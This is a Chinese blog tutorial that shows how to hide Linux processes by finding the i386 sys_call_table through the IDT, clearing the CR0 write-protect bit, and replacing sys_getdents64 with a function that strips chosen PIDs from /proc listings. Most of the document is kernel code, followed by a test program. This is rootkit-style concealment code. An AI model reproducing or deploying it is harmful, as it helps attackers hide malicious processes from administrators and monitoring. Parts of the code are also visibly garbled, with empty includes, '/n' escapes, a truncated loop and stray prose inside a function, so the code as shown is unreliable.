一、原理
Intel x86系列微機支持256種中斷,為了使處理器比較容易地識別每種中斷源,把它們從0~256編號,即賦予一個中斷類型碼n,Intel把它稱作中斷向量。
而Linux中的系統調用使用的是128號,即0x80號中斷,所有的系統調用都是通過唯一的入口system_call()來進入內核,當用戶動態進程執行一條int 0x80彙編指令時,CPU就切換到內核態,並開始執行system_call()函數,system_call()函數再通過系統調用表sys_call_table來取得相應系統調用的地址進行執行。
系統調用表sys_call_table中存放所有系統調用函數的地址,每個地址可以用系統調用號來進行索引,例如sys_call_table[NR_fork]索引到的就是系統調用sys_fork()的地址。(arch/i386/kernel/syscall_table.S)
Linux用中斷描述符(8位元組)來表示每個中斷的相關信息,其格式如下:
31…1615…0
偏移量
一些標誌、類型碼及保留位
段選擇符
偏移量
所有的中斷描述符存放在一片連續的地址空間中,這個連續的地址空間稱作中斷描述符表(IDT),在保護模式下,中斷描述附表可能位於物理內存的任何地方。處理器有一個特殊的寄存器IDTR,用來存儲中斷描述附表的起始地址與大小。這個IDTR的格式為:
47…1615…0
32位基址值
界限
當產生一個中斷時,處理器會將中斷號乘以8然後加到中斷描述符表的基址上。然後驗證產生的結果地址位於中斷描述附表內部(利用表的起始地址與長度)。如果產生的地址沒有位於中斷描述符表的內部,將產生一個異常。如果產生的地址正確,存儲在描述附表中的8-byte的描述符會被CPU載入並執行。
通過上面的說明可以得出通過IDTR寄存器來找到system_call()函數地址的方法:根據IDTR寄存器找到中斷描述符表,中斷描述符表的第0x80項即是system_call()函數的地址。
在這裡我們已經知道怎麼獲得了system_call()的方法,那如何獲得sys_call_table的地址呢?
我們看看system_call()的源代碼:
# system call handler stub
ENTRY(system_call)
pushl %eax# save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
/* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4)//這就是sys_call_table的地址
movl %eax,EAX(%esp)# store the return value
我們找到了sys_call_table的在代碼的位置,因此通過下面指令,找出sys_call_table的指令碼
$ cd /usr/src/
$ gdb -q vmlinux
$ disass sys_call_table
$ x/xw syscall_call+0
下面就是通過查找0x408514ff這個指令來得到*sys_call_table 的值,以上我們便可以找到sys_call_table。
Linux系統中用來查詢文件信息的系統調用是sys_getdents64,這一點可以通過strace來觀察到,例如strace ps將列出命令ps用到的系統調用,從中可以發現ps是通過sys_getedents64來執行操作的。當查詢文件或者目錄的相關信息時,Linux系統用sys_getedents64來執行相應的查詢操作,並把得到的信息傳遞給用戶空間運行的程序,所以如果修改該系統調用,去掉結果中與某些特定文件的相關信息,那麼所有利用該系統調用的程序將看不見該文件,從而達到了隱藏的目的。首先介紹一下原來的系統調用,其原型為:
int sys_getdents64(unsigned int fd, struct linux_dirent64
*dirp,unsigned int count)
其中fd為指向目錄文件的文件描述符,該函數根據fd所指向的目錄文件讀取相應dirent結構,並放入dirp中,其中count為dirp中返回的數據量,正確時該函數返回值為填充到dirp的位元組數。
因此,只需要把上述的sys_getdents64替換成自己寫的hacked_getdents函數,對隱藏的進程進行過濾,從而實現進程的隱藏。
在hacked_getdents函數中,怎麼對隱藏的進程進行過濾呢?
由於在Linux中不存在直接查詢進程信息的系統調用,類似於ps這樣查詢進程信息的命令是通過查詢proc文件系統來實現的,由於proc文件系統它是應用文件系統的介面實現,因此同樣可以用隱藏文件的方法來隱藏proc文件系統中的文件,只需要在上面的hacked_getdents中加入對於proc文件系統的判斷即可。
由於proc是特殊的文件系統,只存在於內存之中,不存在於任何實際設備之上,所以Linux內核分配給它一個特定的主設備號0以及一個特定的次設備號3, 除此之外,由於在外存上沒有與之對應的i節點,所以系統也分配給它一個特殊的節點號PROC_ROOT_INO(值為1),而設備上的1號索引節點是保留 不用的。
通過上面的分析,可以得出判斷一個文件是否屬於proc文件系統的方法:
1)得到該文件對應的fstat結構fbuf;
2) if
(fbuf->ino == PROC_ROOT_INO && !MAJOR(fbuf->dev) &&
MINOR(fbuf->idev) == 3)
{該文件屬於proc文件系統}
通過上面的分析,給出隱藏特定進程的偽代碼表示:
hacket_getdents(unsigned int fd,
struct dirent *dirp, unsigned int count)
{
調用原來的系統調用;
得到fd所對應的節點;
If(該文件屬於proc文件系統的進程文件&&該進程需要隱藏)
{
從dirp中去掉該文件相關信息
}
}
以上便是通過劫持系統調用而實現隱藏進程的原理!
二 、實現
本人比較懶,懶得再重新設置進程的hide變數,於是在之前的一篇文章《linux 隱藏進程-crux實現》基礎上進行修改(url:http://blog.csdn.net/billpig/archive/2010/11/26/6038330.aspx),使得內核能夠同時支持本文的方法及前篇文章的方法。為了區分開兩種方法,在include/linux/文件夾下添加hide.h頭文件。
#ifndef HIDE
#define HIDE
#define USE_HOOK //使用第二種方法
//#define USE_PROC //使用第一種方法,該語句和上一句只能選其一
#endif
在hide.h選擇隱藏文件的方式後,在linux內核文件目錄下,執行make bzImage,然後把得到的內核加入grub目錄。分別設置不同的隱藏方式即可得到不同方法所得到的內核。
2.1 修改前一篇文章 /proc
修改前一篇文件/proc的代碼,使得不會影響本文代碼的實現(因為前篇文章已經實現進程隱藏了,再次隱藏無意義),於是修改fs/proc/base.c的proc_pid_readdir()的代碼如下:
/* for the /proc/ directory itself, after non-process stuff has been done */
int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)
{
unsigned int tgid_array[PROC_MAXPIDS];
char buf[PROC_NUMBUF];
unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
unsigned int nr_tgids, i;
int next_tgid;
#ifdef USE_PROC
task_t *task; //declare a task_struct
#endif
if (!nr) {
ino_t ino = fake_ino(0,PROC_TGID_INO);
if (filldir(dirent, "self", 4, filp->f_pos, ino, DT_LNK) < 0)
return 0;
filp->f_pos++;
nr++;
}
/* f_version caches the tgid value that the last readdir call couldn't
* return. lseek aka telldir automagically resets f_version to 0.
*/
next_tgid = filp->f_version;
filp->f_version = 0;
for (;;) {
nr_tgids = get_tgid_list(nr, next_tgid, tgid_array);
if (!nr_tgids) {
/* no more entries ! */
break;
}
next_tgid = 0;
/* do not use the last found pid, reserve it for next_tgid */
if (nr_tgids == PROC_MAXPIDS) {
nr_tgids--;
next_tgid = tgid_array[nr_tgids];
}
for (i=0;i
int tgid = tgid_array[i];
ino_t ino = fake_ino(tgid,PROC_TGID_INO);
unsigned long j = PROC_NUMBUF;
#ifdef USE_PROC
//get task_struct from pid
task = find_task_by_pid(tgid);
#endif
do
buf[--j] = '0' + (tgid % 10);
while ((tgid /= 10) != 0);
//task = find_task_by_pid(tgid);
#ifdef USE_PROC
printk(KERN_ALERT "pid:%d, hide:%d/n", task->pid, task->hide);
//if task is not hide, then add to /proc
if(task != NULL && task->hide == 0)
{
printk(KERN_ALERT "task:%d no hide/n", task->pid);
#endif
if (filldir(dirent, buf+j, PROC_NUMBUF-j, filp->f_pos, ino, DT_DIR) < 0) {
/* returning this tgid failed, save it as the first
* pid for the next readir call */
filp->f_version = tgid_array[i];
goto out;
}
#ifdef USE_PROC
}
filp->f_pos++;
nr++;
#endif
}
}
out:
return 0;
}
2.2 本文方法的實現
2.2.1 hook.c
在2.1中去除掉了修改後的/proc代碼對本文的影響,接下來便實現在第一部分內容原理的代碼。
於是,在kernel目錄下創建hook.c文件,具體內容如下:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define CALLOFF 100
//定義 idtr and idt struct
struct{
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
}__attribute__((packed))*idt;
/*
struct linux_dirent64{
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[1];
};*/
//定義函數指針,指向被劫持的系統調用
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
int orig_cr0;
void ** system_call_table;
//獲得system_call函數地址
void * get_system_call(void)
{
void * addr = NULL;
asm("sidt %0":"=m"(idtr));
idt = (void*) ((unsigned long*)idtr.base);
addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
return addr;
}
//查找sys_call_table
char * findoffset(char * start)
{
char *p;
for(p=start; p < start + CALLOFF; p++){
if(*(p+0) == '/xff' && *(p+1) == '/x14' && *(p+2) == '/x85')
return p;
}
return NULL;
}
//獲得sys_call_table的地址
void ** get_system_call_addr(void)
{
unsigned long sct = 0;
char * p;
unsigned long addr = (unsigned long)get_system_call();
if((p=findoffset((char*) addr)))
{
sct = *(unsigned long*)(p+3);
printk(KERN_ALERT "find sys_call_addr: 0x%x/n", (unsigned int)sct);
}
return ((void **)sct);
}
//清除和返回cr0
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile ("movl %%cr0, %%eax"
:"=a"(cr0));
ret = cr0;
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
::"a"(cr0));
return ret;
}
//設置cr0
void setback_cr0(unsigned int val)
{
asm volatile ("movl %%eax, %%cr0"
::"a"(val));
}
//char* 轉換為 int
int atoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for(ptr = str + strlen(str)-1; ptr >= str; ptr--){
if(*ptr < '0' || *ptr > '9')
return -1;
res += (*ptr -'0') * mul;
mul *= 10;
}
return res;
}
//check if process whose pid equals 'pid' is set to hidden
//檢查進程號pid是否有設置隱藏
int ishidden(pid_t pid)
{
if(pid < 0)
return 0;
struct task_struct * task = NULL;
task = find_task_by_pid(pid);
//printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
if(task != NULL && task->hide == 1){
//printk(KERN_ALERT "pid:%d,task pid:%d,hide:%d/n",pid, task->pid, task->hide);
return 1;
}
return 0;
}
//the hacked sys_getdents64
//劫持後更換的系統調用
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;
//printk(KERN_ALERT "hidden get dents/n");
struct kstat fbuf;
vfs_fstat(fd, &fbuf);//獲取文件信息
//printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d/n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));
if(orig_getdents != NULL)
{
//執行舊的系統調用
value = (*orig_getdents)(fd, dirp, count);
// if the file is in /proc
//判斷文件是否是/proc下的文件
if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
{
//printk(KERN_ALERT "this is proc");
tlen = value;
int pid;
while(tlen>0){
len = dirp->d_reclen;
tlen = tlen - len;
//printk(KERN_ALERT "dname:%s,",dirp->d_name);
//獲取進程號
pid = atoi(dirp->d_name);
//printk(KERN_ALERT "pid:%d/n", pid);
if(pid != -1 && ishidden(pid))
{
//printk(KERN_ALERT "find process/n");
remove the hidden process
//從/proc去除進程文件
memmove(dirp, (char*)dirp + dirp->d_reclen, tlen);
value = value -len;
//printk(KERN_ALERT "hide successful/n");
}
if(tlen)
dirp = (struct linux_dirent64 *)((char*)dirp + dirp->d_reclen);
}
}
}
else
printk(KERN_ALERT "orig_getdents is null/n");
return value;
}
//hook系統調用
asmlinkage long sys_hook(void)
{
#ifdef USE_HOOK
system_call_table = get_system_call_addr();
if(!system_call_table){
return -EFAULT;
}else if(system_call_table[__NR_getdents64] != hacked_getdents)
{
printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x/n", (unsigned int)system_call_table[__NR_getdents64],(unsigned int)hacked_getdents);
orig_cr0 = clear_and_return_cr0();
orig_getdents = system_call_table[__NR_getdents64];
//printk(KERN_ALERT "old:0x%x, new:0x%x/n",(unsigned int) orig_getdents, (unsigned int)hacked_getdents);
if(hacked_getdents != NULL)
system_call_table[__NR_getdents64] = hacked_getdents;
setback_cr0(orig_cr0);
return 0;
}else
#endif
return -EFAULT;
}
//unhook系統調用
asmlinkage long sys_unhook(void)
{
#ifdef USE_HOOK
if(system_call_table && system_call_table[__NR_getdents64] == hacked_getdents){
orig_cr0 = clear_and_return_cr0();
system_call_table[__NR_getdents] = orig_getdents;
setback_cr0(orig_cr0);
return 0;
}
#endif
return -EFAULT;
}
然後在修改kernel/Makefile,把hook.o添加入編譯選項,使得hook.c代碼編譯入內核
...
obj-y = ...
kthread.o wait.o kfifo.o sys_ni.o posix-cpu-timers.o hook.o
...
2.2.2 添加系統調用
接著,就如和前篇文章一樣,添加系統調用的頭部及相關信息
在include/asm-i386/unistd.h添加系統調用號及系統的調用總數
#define __NR_hide294 //add hide sys call no
#define __NR_unhide295 //add unhide sys call no
#define __NR_hook296
#define __NR_unhook297
#define NR_syscalls 298//modify sys calls
arch/i386/kernel/syscall_table.S在系統調用表中添加相應項,在最後一行添加
.long sys_hide /*add sys call to sys call table */
.long sys_unhide
.long sys_hook
.long sys_unhook
在include/linux/syscalls.h添加函數聲明
// declare function for added sys call
asmlinkage long sys_hide(void);
asmlinkage long sys_unhide(void);
asmlinkage long sys_hook(void);
asmlinkage long sys_unhook(void);
至此,添加系統調用完成,重新編譯內核
三、測試
我們編寫了一個測試函數,用來我們修改的內核是否成功,代碼hook.c(注意跟內核的hook.c區分開來)如下:
#include
#include
#include
#define __NR_hide 294
#define __NR_unhide 295
#define __NR_hook 296
#define __NR_unhook 297
int main(int argc ,char ** argv)
{
int j = 0;
pid_t pid = getpid();
printf("original/n");
system("ps");
//由於使用前篇文章的內容,於是要調用2個系統調用才能隱藏進程
int i = syscall(__NR_hide);
i = syscall(__NR_hook);
printf("hide:/n");
system("ps");
i = syscall(__NR_unhide);
i = syscall(__NR_unhook);
printf("unhide:/n");
system("ps");
return 0;
}
gcc hook.c -o hook後,執行 ./hook ,查看結果如圖
4、結束語
這只是實現隱藏的另一種方式,網上實現的攔截系統調用只是簡單的攔截而已,沒有更深一層的應用,本文也是對隱藏進程的另一種補充。由於只是演示而已,個人覺得採用模塊的方式會比較好,因為內核的系統調用代碼一般是不會修改的。
參考資料:
[1] Linux2.6內核中劫持系統調用隱藏進程:http://linux.chinaitlab.com/kernel/810229_3.html
[2] 高手過招談Linux環境下的高級隱藏技術:http://blog.csdn.net/ldong2007/archive/2008/09/03/2874082.aspx
[3] 2.6內惡化里劫持系統調用:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872144.aspx
[4] 2.6版本Linux上替換系統調用函數實現隱藏文件學習:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872077.aspx
版權所有,轉載請出明出處!